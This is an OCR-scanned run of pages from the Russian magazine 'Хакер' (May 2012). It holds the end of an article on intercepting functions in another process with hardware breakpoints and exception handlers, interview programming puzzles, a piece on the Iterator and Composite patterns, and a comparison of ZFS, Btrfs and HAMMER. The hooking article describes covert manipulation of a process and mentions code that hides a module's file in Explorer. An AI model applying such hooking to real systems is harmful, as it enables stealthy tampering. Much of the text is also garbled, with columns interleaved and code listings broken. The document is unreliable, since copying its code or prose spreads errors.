мы определяем момент в хода кода в обработчик перехвата, тогда
вызова обработчика и п роверить, не сработали ли именно наши точки останова [чужие исключения нам не нужны ] . На мой взгляд,
тексте, направляя его на обрабо тчик, бряк не снимаем . Обработчик
инициализируем
tls
этой константой, меняем значение
Eip
в кон
самый простой способ- следующий. Для н ачала мы проверя ем
выполнил свои действия, передал управ л ение н а ори гин ал ьн ую
ко д ошибки, вызвавшей исключение [нас будут интересовать
функцию, бряк сработал вновь , в обработчике исключения мы
лишь исключительные ситуа ц ии с кодом
находим уже индекс в
затем извлекаем из структуры
перехватчика, - во зводим флаг трассировки, снимая бряк на
STATUS_SING LE_ST EP ], CONTEX T значение регистра Eip,
tls,
который гово р ит нам о выходе кода из
указываю щее на адрес, по которому произошло исключение.
выполнение, индекс в
Поочередно сравниваем этот адрес с адресами функций, которые
опре делили ранее. Ну и наконец, на следующей инструкции опять
tls
ставим неравным константе, которую
мы хотим перехватить, если не нашли- исключение не наше, не
получаем исключение
обрабатываем, нашли - меняем адрес
флага трассировки, но уже, разумеется , не по а дре сам перехва
Eip
в сохраненной струк
STATUS_SINGLE_ST EP, из - за
взведенного
туре контекста на адрес нашего обработчика перехвата . Е сли на
ченных функций - снимаем флаг трассировки и ставим вновь
этом и закончить, сказав, что исключение обработано, и выйти
хардварные бряки на перехваченные функции. Вот и весь пере хват.
из обработчика, то ни чер т а хоро шего не получится - в итоге мы опять окажемся по адресу инструкции, на которую натравлен один
ЗАКЛЮЧЕНИЕ
из хардварных бряков, и исключе н ие сработает вновь, и так до
Вот таким, вроде даже несложным способом мож н о проникнуть
бесконечности. Э т о произойдет из-за того, что наш обработчик
в процесс и мани п улировать внутренними д ейс тв иями, пр оисходя
перехвата в итоге должен буд ет вернуть управление оригинальной
щими в нем. Кт о -то, вероятно, скажет, что че ты ре п ерехваченные
функции, а на ней стоит бряк. Путей решения зтой проблемы тоже
функции - это очень мало. Возм ожно, но развитие темы о г ра н ичи
немало. Я покажу, на мой взгляд, самый легкий . Имен н о для него
вает лишь фантазия развивающего;]. ::х:
На диске есть
НЕМНОГО МАТЧАСТИ
небольшой исходник с комментариями,
реализующий внедрение
Поток- составляющая процесса , которой ядро системы
имена библиотек , которые загрузчику необходимо
в зксплорер икспишных окошек
периодически выделяет промежуток времени для выполнения
спроецировать в адресное пространство процесса , и функций,
кода . Процесс должен иметь минимум один поток, после
экспортируемы х этими библиотеками, виртуальные адреса
отображение файла
завершения всех потоков процесс перестает иметь смысл и все
которых должны быть занесены загрузчиком в таблицу импорта
своего модуля
с ним связанные структуры уничтожаются системой . Каждый
при инициализации процесса .
в проводнике.
поток имеет два контекста : ядерный и прикладной.
Контекст- набор значений регистров процессора, который сохраняется в памяти при изменении уровня привилегий
в
TF (trap flag)- флаг трассиров ки , восьмой !от нуля) регистре флагов eFlags. VEH- ве кторная обработка исключений. Передача
бит
выполняемого кода или при передаче управления другому
управления на обработчик проис х одит при исключении
потоку. Определяется в заголовочны х файлах компилятора
в любом из потоков процесса , прич е м до nередачи управления
структурой
структурному обработчику
CONTEXT.
Таблица импорта- составляющая РЕ-фа й ла, описывающая
и скрывающий
ISEH), если таковой
был установлен
для кода, вызвавшего исключение .
ХАКЕР
098
EPIDEMZ.NET
05/160/2012
Дима Ocмaкoв (bumshmyakГclyandex.rul
КОДИНГ
Павел Александрович livi nside.Ыogspot.coml
ПОДБОРКА ИНТЕРЕСНЫХ
ЗАДАНИЙ,
КОТОРЫЕ ДАЮТ НА СОБЕСЕДОВАНИЯХ
Задачи на собеседованиях Сегодня мы подготовили для тебя
число ссылок на объект достигает нуля, для него вызывает ся
метод
порцию весьма заковыристых задачек
__ del __ ll.
В данном случае при каждом проходе цикла создается до
по программированию и логике, которые могут поставить под сомнение компетентность даже
полнительная ссылка на объект, а при вызове ссылок для каждого объекта понижается с
'del а' количество 2 до 1, поэтому __ del __
вызывается только после отработки скрипта. Количество ссылок
на объект можно проверить через функцию sys.getгefcouпtll,
суровых программистов .
правда, она возвратит число, на единицу большее искомого, так как при вызове функции создается дополнительная ссылка на про
УСЛОВИЕ
веряемый объект.
Что буд ет выведено в результате исполнения программы? Почему?
УСЛОВИЕ Перечисли все проблемы, ко т орые ты видишь в данном коде:
class А: def __ init __ (self, name ): self.name = name def __del __ (self): prl nt self.name, = [A(str(i)) for i in for а in а а: del а
аа
class Foo puЬlic :
Foo( int j) { i= new int [j]; -Foo() { delete i; } private : int * i;
range( З )]
};
print ' done ' class Bar: Foo # ... puЬlic :
РЕШЕНИЕ
Bar( iпt j) { i= new char [j]; -Bar() { delete i; } private : char* i;
Будет выведено следующее : dопе
2. 1
};
е
Как известно, инструкция
del _ _l],
'del
х' не вызывает напрямую х. __
тем самым уменьшая число ссылок на объект на единицу . Когда
ХАКЕР
void main()
а лишь удаляет имя 'х' из локального пространства имен,
Foo* f= new Foo( lee);
099
05/160/2012
EPIDEMZ.NET
КОДИНГ
puЫic :
Foo* b=new Bar( 2ee ); *f=*b; delete f; delete Ь;
Bar( int j) { y=new char [j]; -Bar() { delete у; } private : char * у;
}
}; РЕШ Е НИЕ Проблемы начинаются еще на стадии компиляции !компилятор gcc 4.61: Ошибка ~ объявлении_ функции
void m<Jin () { main.cc : 28 : 11:
ошибка:
Foo* f= пew Foo( 1ee ); Foo* b= new Bar( 2ee );
main:
"::main"
должн а
Будем идти по порядку.
возвращать
"int" Здесь создаются объекты типа
Foo и Ваг.
Одна из потенциальны х проблем- отсутствие проверки пара
Функции maiп следовало бы выглядеть так :
метра
j
в конструк т орах:
int main () { return
Foo( int j) Bar( int j)
е;
i=new int[ j]; Foo( e ) { i=new char [j];
}
j
может быть отрицательным, тогда все будет плохо. Но это ско
рее небольшое замечание, нежели реальная проблема .
Ошибка в конструкторе Ваг:
Следующая с трочка
main . cc: In constructor "Bar: : Bar(int)": main. се: 13: 14 : ошибка:__ нет под ходя щей функции "Foo::Foo()"
«*f=* b>> приведет к утечке памяти . Ука f->x будет перезаписан указате лем Ь->х . Оригинальное значение f->x потеряется, и мы уже не сможем освободить память, затель
для вызова
выдел ен н ую по этому адресу.
Следующая строка Действительно, для построения объекта должен быть вызван конструктор базового класса. Так как специально не указано, ка
«delete f » удалит объект *1, и в деструкто
ре освобо дится память Ь->х !новое значение f->xl. На конец, строка
«delete Ь» удалит объект *Ь, но вызовет
кой конструктор надо вызывать, компилятор пытается подставить
деструктор только F оо-части объекта *Ь, так как дестр ук тор в Ваг
вызов конструктора по умолчанию Foo::Fooll, но такой конструктор
не виртуальный !нужно было бы добавить ключевое слово viгtual к описанию дестр ук т ора ! . В этом дестр укторе по второму разу
не определен в классе
Foo .
Подлечить это можно, например, явным вызовом конструктора
освободится память Ь->х, что тоже является ошибкой: деструктор Ваг не будет вызван, и память, на которую указывает Ь->у, не будет
Foo::Foolintl:
освобождена - еще одна утечка памяти.
Bar(int j) + Bar(int j)
i=new char[j]; Foo(e) { i=new char[j ] ;
УСЛОВИЕ У тебя есть файл !например, ассеss-лог web-cep вepal очень боль
Следующая ошибка:
шого размера. Польз ователи часто запрашивают из него строчки по их номеру. Нужно реализовать функцию, которая бы возвращала
maiп.cc:23:21:
ошибка :
"Foo "
является недостижимой базой
" Bar"
строчку с произвольным номером за время, независимое от номера
строчки и размера файла. При наследовании Ваг от
Foo можно указать тип наследования
РЕШЕНИЕ
lpuЫic, pгivate или pгotectedl. Если ничего не указано !как в нашем случае!, то по умолчанию включается pгivate . Это в итоге приводит
При решении этой задачи нас подстерегает несколько проблем.
к тому, что указатель Ваг* не приводится к Foo* в рамка х функции
Во-первых, файл нельзя полностью перенести в оперативную
maiп !грубо говоря, делая связь pгi vate, мы кроме всего прочего не
память- у нас может оказаться недостаточно памяти для этого.
хо тим сообщать о ее наличии внешнему миру!.
Также замечу, что стандартный способ с циклом и итерационным
Подле~и ть можно так :
протоколом здесь не проходит, так как выполнение такого кода за
нимает разное время в зависимости от номера строки. Чем больше
номер, тем больше итераций цикла будет выполнено:
- class Bar : Foo + class Bar: puЫic Foo Ок, теперь код компилируется и можно разбирать проблемы, которые возникнут во время выполнения. Чтобы не путаться, переименуем внутренний указатель в обоих классах:
class Foo puЫic
:_ Foo( int j) { х= пеw int [j]; } -Foo() { delete х; } private : int * х;
req = 12345 # номер строки, запрошенной num = 1 # текущий номер строки for line in open( 'log.txt' ): i f req == num: print line, num += 1
пользователем
Следует принять во внимание, что наш большой файл изменя ется не слишком часто, притом данные прост о добавляются в его хвост. Поэтому мы можем схитрить: сначала с помощьюнекоторой функции индексатора проиндексиро~ать файл таким образом, чтобы знать, на каком байте от начала файла начинается каждая
};
строка:
class Bar : Foo
def
iпdexator(filename):
offsetlist = [] ХА КЕ Р
100
EPIDEMZ.NET
05/160/2012
Задачи на собеседованиях
sfile = open(filename) while True : offset = f.tell() line = f .readline() if not line : break offsetlist.append(offset) ifile = open( 'indexfile.txt' . 'w' ) pickle.aump(offsetlist, ifile) ifile.close() sfile.close()
temp = a[i]; a[i]
temp;
a[j]; a[j]
i++; j--;
} while (i <= j); //
рекурсивные вызовы,
если есть что сортировать
if (j > е ) quickSort(a, j); if (N > i) quickSort(a + i, N - i);
Дл я удобства дальнейшего использования функция записывает в файл список с положениями начал строк при помощи модуля
pickle.
Таким образом, чтобы узнать, в каком месте файла начинается не кото
В СЛЕДУЮЩЕМ ВЫПУСКЕ
рая строка, мы просто извлекаем из списка злемент по д соответствую
щим номером за вычетом единицы !подразумевая , что нормальный человек нумерует строки с единицы, а не с нуля].
1.
Д ело осталос ь за ма лым- реализовать функцию <<возвращатор>>,
Н а острове жи в ут
13 желтых, 15 синих
и
17 красных хамелеонов.
Когда встречаются два хамелео на разного цвета, они n ере
которая собствен н о в озвра ща ет за прош енную пользователем с т року:
крашиваются в третий цвет. В остальных случаях ничего не nро
def returnator(filename, num ): ifile = open( 'indexfi l e.txt' ) sfile = open(filename) indexlist = pickle.load(ifile) sfile.seek(indexlist[num- 1]) return sfi le . readline()
ОДНО Г О ЦВета?
исходит. Может ли случиться так, что все хамелео ны окажутся
2.
В тюрьме сидят
1О заключенных,
каждый - в о диночн ой
камере. Общаться между собой они не могут. В один прекрас ный день начальник тюрьмы объявил им, что предоставляет всем шанс выйти на свободу, и предложил следующие условия : «В подвале тюрьмы есть ком на та с переключателе м, имеющим
Функция за гр ужает список со значениями сдвигов из файла
два состояния : ON/OFF ! верх / низ]. В ас будут в произвольн ам
и затем с п омощью функции seekll перемещается на нужное место
nоря д ке по одному приводить в эту комна т у и через несколь-
в файле. Как видишь , время выполнения этой функции никак н е
ко минут уводи т ь. Находясь в комнате, каждый из ва с може т
зависи т от номера ст роки, переданн ого п ользователем .
либо изменить nоложение п ереключател я, либ о ничего с ним не делать . П ерсонал тюрь м ы трогат ь э т от переключатель не
УСЛОВИЕ
будет. В ка кой -т о момент о ди н из вас ! любой! д о лжен сказать,
Напиши функцию сортировки массива чисел. Е сли знаешь не
что в комна те по бывали все заключе нны е . Е с ли о н окаже т ся
ско л ько способо в- ис польз уй наиболее быстрый из известных
прав - всех отпустят, если ошибется - вы нав се гда останетесь
тебе алгоритмов.
в тюрьме . Я обещаю, что в комнате побывают все заключенные и что каж д ого из вас будут приводить туда снова и снова несгра
РЕШЕНИЕ
ниченнее число раз >>. П осле этого заключенным разрешили
За долгие годы сиде н ия з а комп ьют ерами люди придумали массу
собра ться и обсудить стратегию, потом развели по камерам. Чт о
способов сортировки. Одним из наиболее эффек тивных алгорит
им нужно д елат ь , чтобы гарантированно выйти н а свободу ?
мов является сор тир овка под говорящим названием «б ы страя>>.
Она хоть и бы л а изобретена бо л ее сорока лет наза д , н о д о сих пор
широ ко при меня е т с я. Сложность алгоритма можно оценить к а к
З.
Перечисли вс е пр облемы, кото ры е ты видишь в данн ом коде:
Oln
log nl . Вкратце оnишу ее смысл.
abstract class Digest { private Map<byte[], byte[] > cache new HashMap <byte[], byte[]>();
puЫic
Из массива выбирается не который опорный злемент
a[i] - по
середине массива. Запускается проц е д ура разделения массива,
которая nеремещает в се к лю чи, меньшие либо равные
a[ i], влево a[i], - вnрав о . Те перь массив сос то ит из двух п одмножеств, прич ем левое меньше либо равно правому.
о т него , а в с~ ключи, большие
byte[] dige st(byte[ ] input) byte[] result = cache.get(input); if (result == null) { synchronized (cac he) { result = cac he.get(input); if (result == null) { result = doDigest(input); cache.put(input, result);
puЬlic
Для обоих подмассивов: ес ли в п одмассиве более дв ух элементов, рекурсивно запускаем для н е го т у же процедуру .
Вот е г о реализация на языке Си:
template <class Т > void quickSort(T* а, long N) { 11 а[] сортируемый м;3сси~;~, a[N] long i = е , j = N; temp, р; р = a[N >> 1]; // опорный
е го последний элемент
}
return result;
Т
11 процедура разделения do { р) i++; while (а [i] р) j--; while (a[j]
элемент
protected abstract byte[] doDigest(byte[] input);
4.
Выведи на экран с помощью
в диапазоне от
XSLT версии 1.0 все четные
числа
1 до 1000000.
i f ( i <= j) {
ХАКЕР
101
05/160/ 2012
EPIDEMZ.NET
КОДИНГ
deeonis ldeeonis!Ogmail.coml
«Итератор» и «Компоновщик»
РАБОТА С КОЛЛЕКЦИЯМИ
Логичная организация хранения данных и удобные
способы доступа к ним могут являться весомым критерием при выборе ПО . Это важно как для про стых пользователей, так и для опытных программи
стов. Недаром придумано столько разнообразных структур: массивы, деревья, стеки и прочее .
Все они дают нам возможность эффективно ис пользовать различные данные, но вот для доступа
к этим данным нам надо хорошо себе представлять, как же устроены все эти стеки и массивы.
EPIDEMZ.NET
... ~·.· · Паттерны « Итератор>> и << Компоновщик>>
n
редположим, что мы работаем в компании, которая
собирает и обрабатывает некие данные из разных источников и продает их своим клиентам. Клиентов не очень
много, всего несколько, и каждому из них нужна инфа из своего
'"1nv
~v•t•ll;
Wlint
iSyltn.CoJlec~loп.a;
источника. С каждым из клиентов работает своя небольшая ко
n-•pace Do r actor., . Gen\IIOff'our . lt e r a tnr . !!ltructural
манда программ истов, вследствие чего выдаваемые ими потоки
' 1
данных располагаются в разных контейнерах. То есть, например, одна команд~ выдает клиенту обычный сишный массив, другая -двунаправленный список и так далее. Получается очень
разношерстная выдача, хорошо хоть, что объекты, хранящиеся в этих контейнерах, приведены к одному внутреннему тип у стандарту
DataObject.
DataObject и классы class DataObject
cl-•
Jle1AApp el•rlu~ tor Itat•IDtDUJO'fPetlecn. '.:ll~l')')
<'.lA ee . . lnApp
' l'atryp<>Jnl
нн.
'""'о]а
•;-r.JJc • l..>on
"'1•-LY> atat1 11YIItl b!C (I
'
C oncrata~ravetae
e [ OI •
Чt- .\ ~ 1
е[ Ц • e [l ) •
"lt• , . , "lt-·: " 1
•IИIIw Concrete.I.9'J'reqete
) l
e [J J ·•Jt . . r•, :rене ItlltdCor tad ptoi'Hlll <1ggтogeco Concrate1taretort •l'lfi• CoDC:reteJtaretoc [e l
выдачи инфопотоков
o"'•ot
ltell •
1 . rtr,.t OI
wi'IU.o [ ltc:8 • • nii.U J
//
Пример кода паттерна «Итератор» на С#
puЫic :
void printData();
11 ...
{ infoтhreadl infoтhread2
class
Infoтhreadl
void printData ()
11 11
возвра~ает указатель на массив объектов
/1
и
DataObject
Infoтhread2
// Перебираем злементы массива int lеп; Array* arrayData = infoтhreadl.getDataObj(&len); for (i = е ; i < len; i++) { arrayData[i].printData();
возвращает указатель на стек
/1
с объектами
Stack* stackData = infoтhread2.getDataObj(); dataObj = stackData.pop(); while (dataObj != NULL) { dataObj.printData(); dataObj = stackData.pop(); }
его длину в переменной
len
Array* getDataObj( int* len);
11 .. .
class
itl; it2;
11
/1 /1
DataObject Stack* getDataObj();
11 ... }
/1 /1
Далее следуют другие реализации классов инфопотоков,
/1
с объектами
которые отдают клиенту свои структуры данных
Достаем злементы из
стека
DataObject
} Но вот через некоторое время компания решила расширять ся, свести все потоки данных в один-единственный и продавать
Как видно из кода, для того чтобы просто вывести на экран
их более широкой аудитории. Все бы хорошо, но выдача в раз
информацию из объектов DataObject, клиенту приходится созда
ных структурах данных вовсе не способствует такому объеди
вать несколько циклов для прохождения по разным коллекциям ,
нению и расширению . Приводить все контейнеры к одному типу
но при этом тело циклов остается практически неизменным.
слишком накладно- каждая команда написала очень много
Это очень плохо, так делать нельзя [вернее, можно , но только
кода, заточенного под ар реи, стеки, списки и прочее. Чтобы
школьникам). Чтобы клиент мог правильно пользоваться данны
наши будущие клиенты могли работать с обобщенными данными
ми, нам надо немного потрудиться.
как с единым целым, а не вникать в особенности реализации каждого из потоков, нам нужно придумать какой-нибудь трюк.
ИТЕРАТОРЫ
Клиент должен иметь простой и доступный способ проходить по
Вместо того чтобы отдавать клиентам разнообразные виды
всем объектам
контейнеров, наши классы инфопотоков должны создавать не
DataObject в инфопотоках, выдаваемых кодом
наших команд программ истов. Сейчас работа клиентов с нашими
который абстрактный объект, с помощью которого можно пройти
данными выглядит очень уныло.
по всей коллекции. Для этого нам надо лишь создать функцию
cгeatelteгatoг[), которая будет возвращать объект, реализующий Работа клиента с разными потоками данных
интерфейс lteгatoг. Интерфейс этот довольно прост, он описывает
class Client {
следующий элемент в коллекции, а второй проверяет, остались
всего лишь два метода: ne xt[) и hasNextiJ. Первый возвращает
Infoтhreadl*
iпfoтhreadl;
Infoтhread2*
infoтhread2;
ли еще в этой коллекции непройденные элементы. В этом случае клиенту достаточно лишь знать о существо вании интерфейса lteгatoг и его двух методов. Он не должен задумываться о том, в каком виде хранится информация в ин
puЬlic :
Client(Infoтhreadl*
ХАКЕР
itl,
Infoтhread2*
it2)
фопотоке, и, соответственно, программисты клиентской части
103
05/160/ 2012
EPIDEMZ.NET
_КОДИНГ не должны писать для каждого класса отдельный код. Более
Client
Aggregate
того, наши кодеры, которые так долго и уnорно трудились над
созданием инфраструктуры для своих классов, не должны все
Createlterator{ 1
это переписывать, им достаточно лишь добавить в свой код
~
функцию cгeatelteгatoгll, которая возвращает объект класса, реализующего интерфейс lteгa t oг. Создание · объектов с интерфейсом _ Itеrаtоr
class Iterator
ConcreteAggregate Cгeatelteгatoгl 1
puЫic :
virtual DataObject* пехt() = virtual bool hasNext() = е ;
е;
--------------- •1
1
1
~
1 puЫic
~
Concretelterator
9 1
}
class Arrayiterator:
lterator First{ 1 Nextll lsDone{ 1 Currentltem{ 1
Iterator
Диаграмма классов nаттерна <~Итераторн
{ iпt пObject; iпt
lеп;
11
Array* dataArray;
Выводим инфу
из
второ го инфо потока
Iterator i t = iпfoThread2. createi:terator (); priпtData (&it);
puЫic :
Arrayite.rator(Array* ar,
iпt
arLeп)
}
{ lеп = arLeп; dataArray = ar; _ пOpject ,. е ;
void
*it)
priпtData(Iterator
while (it->hasNex:t()) {
DataObject *dataObj DataObject*
пехt{)
it->пext();
dataObj->priпtData();
{ returп
dataArray [ пObjectJ;
Как видно из кода , мы устранили зависимость клиента от
bool hasNext ()
типа коллекции, используемой в инфопотоке. Теперь у нас нет
{
if
(пObject
retur)l else returп
>=
е
11
пQbject
< lеп)
кучи циклов для каждого класса, все они предоставляют унифи цированный итератор, с помощью которого можно получить до
tтue_;
ступ к элементам массивов, списков и прочих структур данных.
Но тут есть несколько недостатков. Во-первых, клиентский
false ;
код зависит от конкретных реализаций инфопотоков, а не от абстрактных интерфейсов. Ему надо знать о каждом классе,
}
которые выдают наши доблестные кодеры. А меж тем в этих
class
классах для клиента на данный момент важна лишь функция
IпfoThreadl
с геаtе 1te гаtо гl 1.
11
Переменные
data
и lеп инициализируются
Из первого вытекает второе. При увеличении количества
где-то в к оде
Array* data;
разнообразных инфопотоков _код клиента придется постоянно
iпt lеп; 1
дополнять и изменять. А вся концепция программирования с помощью паттернов создана для того, чтобы избежать таких изменений и обеспечить гибкость на уровне интерфейсов.
puЫic :
11
get:DataQbj () I'ЬI теперь Iterator createiterator() ~м_есто
используем
Чтобы исправить эти недочеты, необходимо, чтобы все наши
cre<Jteiterator()
классы инфопотоков былинеразличимы для клиента, то есть
надо ввести общий интерфейс. Представить, как это выглядит,
{ returп
Arrayiterator arit(data,
lеп);
МОЖНО, ВЗГЛЯНУВ на КОД:
Интерфейс для инфопотоков
}
class
11 11
DataCollectioп
Итератор _для стека и для класса IпfoThreadZ реализуется
{
подобньм образом
puЫic :
cl;:~ss
Iterator createiterator()
Clieпt
е;
}
11 vo_id
priпtData ()
class
IпfoThreadl:
puЫic
DataCollection
{
/J Выводим инфу из первого инфопотока Iterator it =_iпfoThreadl.createiterator();
11
priпtData(&it);
ХАКЕР
EPIDEMZ.NET
05/160/201 2
Паттерны «Итератор» и «Компоновщик>>
class InfoThread2:
puЬlic
'
DataCollection
1 1 1
11
Client
Component
1
1
+Operationll +Add[in Componentl +Removelin Componentl +GetChildlin ind ex: intl
Благодаря единому интерфейсу мы смогли убрать зави
~
~
симости от конкретных классов и значительно сократить код
клиента . Нам теперь не надо несколько раз вызывать функцию
1 Leaf 1 1 1 1Operationll 1
pгiпtlпfo[J руками , это можно сделать, например, в цикле.
«КОМПОНОВЩИК»
+Operation[l +Addlin Componentl +Remove!in Componentl : +GetChi ldlin index: intl :
клиентам, усложнилас ь. Е сли раньше в коллекции были тольк о
DataObje ct, то
Р,-
:
Теперь давайте представим, что структура данных, выдаваемая
элементы
ildren
Component
' '
сейчас в ней должны бы ть еще и другие
подколл ек ции. Др уги ми словами, должна получиться древовид
foreach child in chii.Operationll
ная структура, но клиент при этом долж ен работать с ней , как
children~
и раньше.
Для этого нам потребуется патт ер н << Компоновщик>>, который объединяет объекты в древовидные структуры и позволяет вы
Диаграмма класс о в nаттерна «К о мnоновщик»
полнять однородные о п ерации как с отдельными объектами, так и с их со вок у пностями. То есть наличие подколлекций в коллек ции никак не должно отразиться на клиенте .
Чтобы провернуть подобный фокус, мы заменим интерфейс
DataCollect io п , который мы реализовали в классах инфопотоков, на
DataComponent. При этом DataComponeпt будет реализовы ваться и в классе DataObject, чего раньше не было. Иерархия
классов
паттерн_а
так и методы DataObject - pгintDatall . Кроме того, добавила с ь функция getChild[J, которая возвращает доч е рнюю коллекцию для элемента древовидной структуры.
Поскольк у в нашей новой древовидной структуре есть как конечные элементы-
DataObject, так
и подструкт у -
ры -lnfoThгead1 и та к далее , некоторые методы интерфейса
Da taComponent не б удут иметь смысла. Наприм ер , функция getChild[J применима только к узл ам, которые представляют собой вложенные коллекции , а объекты DataObject должны
«Комnоновщик>>
class DataComponent {
игнорироват ь эту о перацию . Мы можем, например, генерировать исключение или просто делать гetuгn. Это, конечно, может за
puЬlic :
Iterator createiterator() void printData() = е ; DataComponent * getChild()
е·
п у т а ть клиента, но зато наша структура остается про зрач ной для
е;
DataObject
'
него. Клиент не видит разницы между одиночными объектами и их комбинациями.
Но для полной про з рачности нам необходимо реализовать
к ла сс итератора , который позволит обойти всю нашу новую
class InfoThreadl: {
puЬlic
структуру. Алгоритм обхода дерева можно выбрать любой : как
DataComponent
в << ширину >>, так и в «глубин у>> - главное , чтобы клиентский код смо г без изменений получить информацию из каждого элемента
puЬlic :
Код такого итератора будет немного сложнее , чем
Iterator create iterator()
DataObject.
{
те, что мы видели раньше, но принципиального отличия в его
11
логике не будет.
Возвращаем итератор
ИТЕРАТОРЫ В С++ Те , кто знаком с С++ достат о чн о хо рошо, наверняка пользава
void printData ()
лись библиотекой
11 11
Этот метод может вызывать
STL
и ее компо нентами .
STL
имеет собствен
н ую реализацию итераторов д ля с в оих контейнерных классов.
исключ е ни е
Алгоритм рабо ты SТL'ны х итераторов отличается от те х, что
и r и вообще ничего не делать
мы рассматривали выше . Та к, об ъект класса iteгatoг должен инициа лизироваться специальными ф у нкциями контейнера
}
begiп[J или eпd[J, которые предоставляют ссылку на первый
class DataObject :
puЬlic
и п осле дний элементы в ко ллекции соответственно. Таким
Datacomponent
обр а зо м заменяется наш метод
перебор э лементов прои схо дит при помощи оператора++, а не
Iterator createiterator() {
11
hasNe xt[J- циклом fог б удем по
сле довательно про х одить от начала коллекции д о конца . Кстати ,
puЬlic :
Возвращаем пустой
метода пext[J, как у нас . Для совмес тимости с
итератор
STL
можно было не выдумывать свой
интерфейс итератора, а реализовать стандартный, но это уже удел профи, а нам надо было п онять, как работает этот паттер н,
void printData ()
11
потому мы с делали все своими руками.
ЗАКЛЮЧЕНИЕ
Выводим данные
Мы с тобой рассмотрели работу итераторов и разобрались с паттерном << Компоновщик >>. При и х правильном использовании можно значительно упростить ко д для работы с разнообразными Из кода видно , что интерфейс DataComponeпt объединяет
в себе как методы
DataCollection, например cгeatelteгatoг[ J ,
коллекциями . Также мы узнали, что в С++ есть уже готовые реше ния , которые избавляют нас от написания служебного ко да. ::х:
EPIDEMZ.NET
СРАВНИТЕЛЬНЫЙ ОБЗОР
ZFS, BTRFS И HAMMER
Файловая система
ext2,
остававшаяся стандартом для
Linux
очень
долгое время, была создана еще в конце 90-х, но она [или ее более свежая реинкарнация под названием ехtЗ] до сих пор применяются
на сер'верах и домашних машинах. Ext4, призванная исправить проблемы двух предыдущих ФС, уже начинает повсеместно внедряться, однако действительно ли она так хороша, или мы
должны задуматься об альтернативах- файловых системах , созданных с нуля для удовлетворения современных потребностей?
EPIDEMZ.NET
Файловые сис т ем ы буду щ е г о
pLSb t:
Gzip compression
1
2GB F1le Compress10n _.,. Seconds. less Are
Вetter
PHOROIIIX.COM
сегодняшним меркам уровень. Основное нововведение
ext4
заключается в использо
вании так называемых экстенто в , которые
позволяют адресо в ат ь не п рер ыв н ы е ц епочки
б л око в фай л о в ой сис т емы, в мес т о поб л очных
HAMMER On DragonflyBSD
ссылок, как это бы л о реализо ван о в ext2/
SE +/· 0 .26
ехtЗ. Экстен т ы, д о четырех ук а з а те л ей на которые помещаются прямо в
UFS On PC-BSD
п озволяют
внутри ФС и, таким образом, по вы сить общую производительность ФС . Кроме то г о, в
ZFS On PC-BSD
ext4
появились такие функции, как од н омоментнее
SE ..- /· 0 .71 ЕХТЗ Оп
inode,
существенно ускорить поиск файла д а н ных
SE + /· 0 .03
выделение блоков группами, о тложе н ное вы
деление блоков, а также резервирование
Ubuntu
inode
при создании каталогов, которые снижают
SE + /· O.OS
фрагментацию ФС и повышают скорость ра ЕХТ4
боты. Размер iпode был уве л ичен д о
On Ubuntu
256
благодаря чему в него уд а л ос ь уместить р ас·
Btrfs On Ubuntu
ты S EL iпux, что также сказа л ос ь н а ско р ости
ширенные атрибуты ФС - метки
16
в Т
24
32 Powere<j
----
Анализ скорост и сж атия файла размеро м
и атрибу
ACL
дос т упа к ним. Появился механизм п ре д·
SE +/· 0 .03
2 Гб в
варительного выделения блоков по запросу
40
Ву
приложений, который позволяет не тратить
Phoron" Тest Su•e 3 О OaS -
-
--
время на забивание блоко в нулями. Общий размер файловой системы бы л уве л ичен до
разны х ФС ! м е н ьше -л у чше)
эксбибайта , а размер файл а - до
16
Т б . В се
эти новшес т ва позволили, по словам В мае
2011
г ода Майкл Руби н , от в етст в енный
за системы хранения д ан н ых в сту п ил с докладом << L iп u x
Cloud>>,
Google, вы File Sys tems in the
в которо м рассказ а л о пр оизводи т ель·
ности новой фай л овой сис т ем ы , п ричинах мигра ц ии с фай л о в ой сис т ем ы
ext2
на
ext4
сделать так, что на работу с мета д а нн ыми но
ными объемами информации [требование уже сего д няш н е г о д ня ! . В следующих раз д елах
вая файловая система тепер ь тра т ит всего
статьи м ы р ассмо тр и м наиболее вероят н ых
стемой
претенде н тов на ро л ь файловой системы
в разы, а неко т орые- н а по ряд ок. В т о же
ext4,
доступных уже сего дня .
Перехо д на
поз в оли л су щ ест в енно
повысить общую произ в оди т ельность систе мы ввода-вывода, од н ако, как отметил сам
Майкл, это не максимальная произ в одитель ·
Google,
бы учиты в ал необходимость работы с огром
будущего, а также сделаем небольшой обзор
ext4,
а также более современных ал ьтернативах
ext4,
байт,
SE +/· 0 .04
объяс н яю щ ий, п очему эта файловая
времени, а не
ext2.
40%,
Многие о п ера ц и и с тали б ы стрее
время и сотрудники
ext4
4%
как б ыл о с фай л о в ой си ·
Google,
и сами соз д а т ели
соглашаются, что это в сего л и шь пере·
система уй д ет с авансцены и ее место займут
ходный вариант на п ути к более совреме н ным
другие ФС.
ФС . Старая модель управ л ения д анными,
1111
обеспечить приемлемый урове нь п роизво·
используемая в
Файловая система
ext4
пришла на смену
ext4,
в принципе не может
дительности и функциональности д ля систем
ность, которой можно было бы д остичь, и в
устаревшей ехtЗ и принесла с собой доволь
с большими объемами х р анили щ , а т акже
буд ущем неизбеже н п ерехо д н а д ру г ую файло
но сущест в енные изменения архитектуры,
эффективную реализацию про д ви н у т ых функ
вую сис т ему, с ка рд и н а ль но н о в ой а р хитекту·
кото р ые п озволили поднять производитель
ций, таких как сна пш о т ы или м н ожественные
рой и подходом к х р а н ению д а н н ы х, который
ность ФС и в ы вес т и ее на приемлемый п о
точки мон т ирования .
pLSII !!;;
BlogBench vl.O Test Read
1
p~SI
BlogBench vl .O Wr~te
11
Test
РЖЖОН ОС.Соt.с
( НАММЕR Оп
UFS
OragonflyBSO SE Н· 7912.37
НАММЕR Оп
DragonflyBSD SE +/· 34 .26
Оп Drlн~onflyBSD
UFS On DragonflyBSD
SE • /· 6183 .75
SE • /· 0 .88
UFS
оп Рс.вsо
UFS
оп Рс.вsо
ZFS
Оп
SE +/· 12874 .13
ZFS
Оп
SE +/· 9 .71
PC·BSD
SE +/· 12235.84 ЕХТЗ Оп
Ubuntu SE +1· 3055.61
ЕХТЗ
Ubuntu SE +/- 1002.82
SE
ЕХТ4 Оп
283114
1118
Ubuntu
SE + /· 10.44
Ubuntu
Btrfs
2ВО463
Ч· 43S2 . 2З
Оп
Ubuntu
SE + /- 1.86
60000
120000
180000
Анализ прои з водительности чтения и записи файловых систем тег все еще находилась в стадии разработки)
ХАКЕР
On Ubuntu SE +/- 2.03
ЕХТ4 Оп
Btгfs Оп
PC·BSD
SE +/· 6 .45
240000
300000
